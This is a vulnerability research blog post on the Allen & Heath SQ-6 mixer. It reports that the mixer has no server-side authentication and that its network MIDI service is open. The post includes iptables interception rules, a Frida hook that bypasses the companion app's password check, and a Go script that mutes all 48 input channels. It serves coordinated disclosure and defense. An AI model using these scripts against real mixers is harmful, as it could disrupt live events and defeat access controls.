Our consulting team has a large variety of interests outside of security, although that doesn’t mean we take our hacker hats off outside our security work. The AVL (audio, visual, lighting) industry is an area of interest for me as I help run production outside of Include Security, mainly focusing on live sound. In this blog post we take a look at the security of an audio mixer made by Allen & Heath called the SQ-6. 

The SQ-6 is a popular mid-range mixer that goes for around $5,000. Other brands that compete in this range would be Yamaha, Midas, and Behringer. We don’t make any claims that Allen & Heath is more or less secure than the competitors. We chose to look at Allen & Heath as one of the big players in the industry. Join us as we explore a professional live audio mixer and you’ll never look at concerts the same way again.

What is an Audio Mixer?

Let’s talk a little about what an audio mixer does first before we dive in further. These mixers or “boards” are most commonly used at live events. They are usually placed in the center of the audience facing the front of the main speakers so that a sound engineer can mix and process all the different stage inputs for the audience.

As an aside, if you see a second mixer on the side of the stage, that monitor engineer is also mixing audio, but specifically for individual mixes for each musician’s in-ears, which are in-ear headphones that have sound isolation. Alternatively, the monitor engineer will be mixing floor monitors or wedges on the stage if the musician doesn’t have in-ears. If the event is being live streamed as well, then it is very likely that there is a third sound engineer in a room separate from the live event hall that is mixing for the live stream. That’s a lot of different people that need to take the signal from all the microphones and instruments on stage and process it for different target audiences.

Thanks to computers and networking, it’s much easier to do that these days than it was in the traditional world of analog mixers, long snakes (multicore cables), and splitters. Now we have digital stage boxes that are plugged in a network over CAT6 and each mixer can subscribe to multicast audio streams and set up virtual patching across all equipment. Below is an example of an Allen & Heath digital stage box where musicians would plug in their instruments and microphones on stage.

Some manufacturers have their own proprietary protocols for audio streaming such as Allen & Heath’s SLink, but there are also industry standard solutions such as Dante, which is proprietary but brand agnostic. There are also open standards such as MADI/AES10 and AES67 which are defined by the Audio Engineering Society and have open source implementations. Dante, for example, is also compatible with AES67.

Attack Surface Overview

What scenario would a mixer be used in and what are the risks? Any live event, physical or broadcasted, will use some type of mixer. Interruption of the event by modifying, distorting, or disabling the sound is the main risk. This can span entertainment events, political events, conferences, and corporate meetings, to name a few.

In this case I took a look at an Allen Heath SQ-6 mixer with the latest firmware, which at the time was version 1.6.0 r4812. In addition, there were three mobile apps released at the time that were all on version 1.6.0. The apps, SQ MixPad, SQ4You, and SQ Control were all available for both iOS and Android.

Audio Network

I mentioned that audio is streamed over a network (SLink, Dante, MADI, AES67). Allen & Heath mixers offer SLink by default, but have support for additional protocols through network interface modules, such as a Dante module. We won’t be looking at this as an attack surface since this is the most likely network to be isolated, although not necessarily. The audio network has a separate ethernet port from the control network, but it’s still an IP network. With that being said, if you have access to this network it’s game over and you will be able to disrupt the sound.

Control Network

The SQ-6 also has a second ethernet port where the mixer can be plugged into a network and exposes various control network services. The following image shows the network interface which is used for the control network.

In particular, the following network ports were discovered through network scans and network traffic analysis:

• 51326 (TCP) – App Control
• 51324 (UDP) – App Updates
• 51325 (TCP) – MIDI

The app network services appeared to be using custom protocols and the MIDI service protocol was publicly documented by Allen & Heath in their SQ MIDI Protocol Manual (PDF).

Mobile Apps

Let’s talk about mobile apps. When are these used? Almost every brand has companion apps that target mainly two groups: the sound engineer and musicians. The SQ MixPad app gives the sound engineer the ability to control the entire mixer wirelessly. This is helpful to be able to move around the room to see how it sounds in different areas. In the case of not having a dedicated monitor sound engineer, it also allows the sound engineer to go on stage and mix the individual floor monitor mixes.

The SQ4You app is more limited in functionality and is intended for each musician to be able to mix for their own monitor mix. Again, this is useful when you don’t have a dedicated monitor sound engineer so that a sound engineer can focus on the main mix and not have to adjust the mix for each musician. The third app, SQ Control, is meant for creating basic dashboards to be able to control just a few aspects of the mixer, such as changing volume or muting a microphone. All these apps communicate with the same app network services exposed by the mixer.

The MIDI service, on the other hand, is meant to be used by other software to either automate control of the mixer or to create automation based on events from the mixer. Companion is a very popular open source project used for automation that also includes integrations for Allen & Heath mixers over MIDI. Alternatively, Q-SYS is a big name in control systems that can also integrate with Allen & Heath mixers.

By default, any user with access to the network can access the app services and the MIDI service without any type of authentication. Since musicians and sound engineers need to access the services wirelessly there will either be a dedicated Wi-Fi network or the mixer can be put on a shared corporate network that has access points. The mixer can also be configured with multiple usernames and passwords each with varying levels of permissions. I went ahead and enabled this functionality to see if there was any way that it could be bypassed. This functionality was described in the SQ Reference Guide (PDF), as shown below:

Physical

Having physical access to the board means that you can access the physical faders and touch screen to be able to control the mix. But, there is also the possibility to set up users and roles so that sound engineers have their own personalized configuration and/or have limited functionality. In general, once you have physical access you can disrupt the sound, but in a sense privilege escalation can also occur. There are also two USB ports, ethernet ports, and support for expansion modules.

Mobile Applications

Out of the three applications I focused on the Android SQ MixPad app since it implemented the most functionality. The attack scenario I was looking at was authentication bypass when a mixer has users configured with a password.

Network Traffic

The first step was to intercept network traffic between the mobile application and mixer. I decided to do this with some iptables rules.

The following represents the clients that were on the network:

• Mixer: 192.168.0.44
• Mobile Device: 192.168.0.208
• Laptop: 192.168.0.30

    1. Route and NAT all traffic from the mobile device to the mixer.

sudo iptables -t nat -A PREROUTING -s 192.168.0.208 -d 192.168.0.44 -j DNAT --to-destination 192.168.0.30

    2. Route and NAT all traffic from the mixer to the mobile device.

sudo iptables -t nat -A PREROUTING -s 192.168.0.30 -d 192.168.0.44 -j DNAT --to-destination 192.168.0.208

    3. Enable NAT for all clients in the 192.168.0.0/24 network.

sudo iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -j MASQUERADE

    4. Enable IP forwarding

sudo sysctl -w net.ipv4.ip_forward=1 sudo iptables -P FORWARD ACCEPT

With all that set up, in the mobile application I set the mixer as 192.168.0.30, which was my laptop, so that I can intercept all the traffic using Wireshark while also forwarding traffic between the mixer and mobile application. This worked perfectly and gave me insight of what was going over the wire. There was traffic over UDP port 51324 and whenever there was a live interaction with the mixer or application, TCP traffic over TCP port 51326 occurred. The UDP and TCP data did not seem to be using a standard protocol and would require further investigation. With authentication enabled on the mixer, I found it interesting that whenever entering a password and getting denied, there was no TCP traffic that occurred. This made me wonder if the application received the usernames and passwords and then just performed client-side authentication. Sure enough, when making a connection to the mixer from the app, the following data, which clearly shows the usernames from the mixer.

Continuing to inspect the traffic, I noticed that every time that a password change occurred on the mixer, an update message was sent to all devices connected to the TCP port 51326 service. These updates were received before any authentication. I started to see a trend with the packets as I changed the password for two different users.

Update UID 10 password to “password”.

Update UID 0 password to “password”.

The first 9 bytes 7f 08 0b 00 00 00 5b 23 0e appeared to be a header for the password update, the following byte 0a and 00 was the UID and the final 8 bytes were some representation of the password. This was possibly a custom hashing algorithm.

In this case, the password “password” was represented as hex 32 5d 44 62. The password “change” was represented as hex 59 b8 30 6a and a blank password was represented as hex 88 97 1d d2.

Android Reversing

Looking directly at the Android APK, I started off by decompiling the Android app using jadx.I quickly found that a lot of the functionality was implemented via native QT libraries. This doesn’t easily decompile and would require reverse engineering using a tool such as Ghidra. Because of this I decided to go with the path of least resistance and to use Frida to see if I can find the relevant function that needed to be hooked. Using frida-trace I started tracing function calls that matched *assword, just to account for capitalization differences. With the trace started, I went ahead and attempted to login with a wrong password and saw the following function calls.

> frida-trace -U -i "*assword*" 4159

…omitted for brevity…

           /* TID 0x105a */
 16383 ms  _ZN24cQtUserPermissionManager15passwordMatchesEi7QString()
 16383 ms     | _ZN24cQtUserPermissionManager16HashFromPasswordE7QString()
 16384 ms     |    | EncryptPassword()

Hmm, so there is both a HashFromPassword and EncryptPassword function call? Maybe the client is hashing the password and encrypting it before doing a local comparison. Either way, I decided to hook the first function called, which was _ZN24cQtUserPermissionManager15passwordMatchesEi7QString and just modify the return value there. The following Frida script hooks this function which was part of the libSQ-MixPad_arm64-v8a.so module. A quick way that I found out which module this function was part of was to run strings on the modules in the app/src/main/lib/arm64-v8a directory of the extracted APK.

> strings * -f | grep _ZN24cQtUserPermi
ssionManager15passwordMatchesEi7QString
libSQ-MixPad_arm64-v8a.so: _ZN24cQtUserPermissionManager15passwordMatchesEi7QString

In the Frida script, I defined an interceptor that modifies the return value function to always return true.

//TypeScript
import { log } from "./logger.js";

setTimeout(function() {
    const retvalOne:NativePointer = ptr(0x1);
    const passwordMatchPtr:NativePointer = Process.getModuleByName("libSQ-MixPad_arm64-v8a.so")
    .getExportByName("_ZN24cQtUserPermissionManager15passwordMatchesEi7QString")

    class PasswordMatchW {
        (retval:InvocationReturnValue) {
            retval.replace(retvalOne)
        }
    }

    Interceptor.attach(passwordMatchPtr, new PasswordMatchW);
}, 1000);

Now when the user provides a password, the _ZN24cQtUserPermissionManager15passwordMatchesEi7QString function will always return true no matter if the provided password matches the hashed/encrypted password from the mixer. As a result, any password is accepted and we bypassed authentication!

Live patching requires the mobile device to be tethered to a laptop, but using the wonderful frida-gadget tool I was able to patch the Android APK with this hook to have a completely portable auth-bypassing SQ MixPad application.

Later, while browsing the Allen & Heath forums, I found an interesting post by a user talking about a third-party mobile app called Mixing Station. The main takeaways from this post were:

• A third-party application called Mixing Station had users who were surprised to see that musicians were able to access the entire mixer without a password.
• The developer acknowledged that he didn’t know how to process passwords stored by the SQ mixer so the app defaulted to allowing access without a password.
• Later the developer later figured out how to implement client-side password validation and updated the app to do so.

While this would prevent your typical user of the Mixing Station app from accessing administrative functionality on a mixer without providing a password, the underlying issue was still present.

Network MIDI

The MIDI service was also available over the network on TCP port 51325. According to the SQ MIDI Protocol manual, MIDI is available over USB and over the network. The manual also documented the protocol for communicating with the MIDI service. I created a small program to send MIDI commands over the network. In particular, what we did here is create MIDI messages to mute 48 input channels. There is no authentication and as a result an attacker can disrupt the sound if they can reach the mixer over the network.

//Go
package main

import (
    "fmt"
    "net"
)

func main() {

    const (
        HOST = "192.168.0.30"
        PORT = "51325"
        TYPE = "tcp"
    )

    tcpServer, err := net.ResolveTCPAddr(TYPE, HOST+":"+PORT)
    if err != nil {
        panic(err)
    }

    conn, err := net.DialTCP(TYPE, nil, tcpServer)
    if err != nil {
        panic(err)
    }

    defer conn.Close()

    var messages []byte
    bn := byte(0xb0) // MIDI channel
    msb := byte(0)

    // Mute all 48 input channels
    for i := 0; i < 48; i++ {
        lsb := byte(i)
        current := []byte{bn, 0x63, msb, bn, 0x62, lsb, bn, 0x60, 0x00}
        messages = append(messages, current...)
    }

    fmt.Printf("%x\n", messages)
    _, err = conn.Write(messages)

    if err != nil {
        panic(err)
    }
}

This small proof of concept serves to show that the MIDI service can be accessed without authentication, but the actual functionality exposed is much more exhaustive including: scene changes, mutes, panning, volume levels, and modification of mix assignments.

Conclusion

Looking at the user login functionality, I found that there is no form of server-side (mixer) authentication and that the applications implemented this functionality client-side. I was also not the first to notice this as I discovered through some forum posts of discontent users using a third-party application. The MIDI service was also fully accessible without any authentication. With all this said, none of the traffic between applications and network services was encrypted and even with authentication in place, an attacker could still read or modify traffic when in the same broadcast domain. Because of this, a dedicated network and access point is a must. Additionally, access to the network should only be given to trusted devices. Ideally these devices are owned and controlled by the AVL team and are not the personal devices of individuals.

Further investigation around firmware updates, protocol analysis, and sound streaming networks would be good next areas of focus. At the same time, not having security controls in place in the first place means there isn’t anything to bypass, which is the case for a lot of pro AVL equipment. You can’t hack something that is already open.

Guidance for Defenders

The trend with AVL equipment is that they tend to rely on dedicated networks with restricted access as a security measure. This is a reasonable approach with the current status quo. For network defenders that are dealing with this type of equipment, ensure that network segmentation is in place through the usage of VLANs, firewalls, and dedicated APs. If completely separate network infrastructure can be afforded, that is preferred, both for security and the stability of streaming audio networks. In general, always prevent internet access to these devices unless absolutely needed. In the example of this Allen and Heath mixer, the only reason that internet access would be needed would be to download the Android and iOS applications, but this can be done beforehand on a different network.

AVL Industry Call-to-action:

For those working in this industry I would recommend that the assumption of depending on dedicated networks with restricted access be challenged. Restricted network access should not be the default assumption. The future brings more integrations and connectivity with applications (Wi-FI and shared networks), automation with third-party software (including cloud), and OTA software updates. The industry currently prioritizes having stable systems for professional-level events, with security design largely being an afterthought. I’d love to see more companies become proactive with the security of their designs. This might mean that there has to be more standardization of secure protocols or a collaboration between AVL companies. Any company in the industry has the opportunity to take initiative and set the trend for the rest to follow.

Disclosure Timeline

This research was performed in coordination with Allen & Heath. We thank them for their support and we’d like to pass along a word of caution from the vendor for existing customers that they may violate their support/licensing agreements if they do similar research without collaborating with the Allen & Heath team.

Below is the disclosure timeline outlining the communication between Include Security and the Allen & Heath team. Their team was not only promptly responsive to our initial outreach, but also receptive to meeting for a details discussion, and were easy to work with when deciding on a timely publication date for our post once a software patch had been released.

• 9/4/2025 – Initial outreach by Include Security to [email protected] describing the research, and requesting a response to coordinate further.
• 9/10/2025 – Response from Allen & Heath team with a request to meet and discuss technical details and next steps.
• 9/16/2025 – Meeting conducted with Allen & Heath team, productive conversation of discussing identified vulnerability details, their team’s remediation plan and timeline, and agreeing upon an Include Security blog post publication date.
• 10/3/2025 – Include Security publishes their research.